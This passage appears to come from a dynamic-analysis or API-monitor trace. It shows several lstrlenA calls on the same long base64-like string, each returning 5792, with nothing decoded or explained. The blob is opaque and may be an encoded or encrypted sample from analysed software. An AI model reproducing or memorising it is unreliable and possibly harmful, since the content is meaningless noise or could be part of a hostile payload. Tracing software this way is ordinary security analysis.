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") returned 5792 [0128.365] lstrlenA (lpString="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") returned 5792 [0128.365] lstrlenA (lpString="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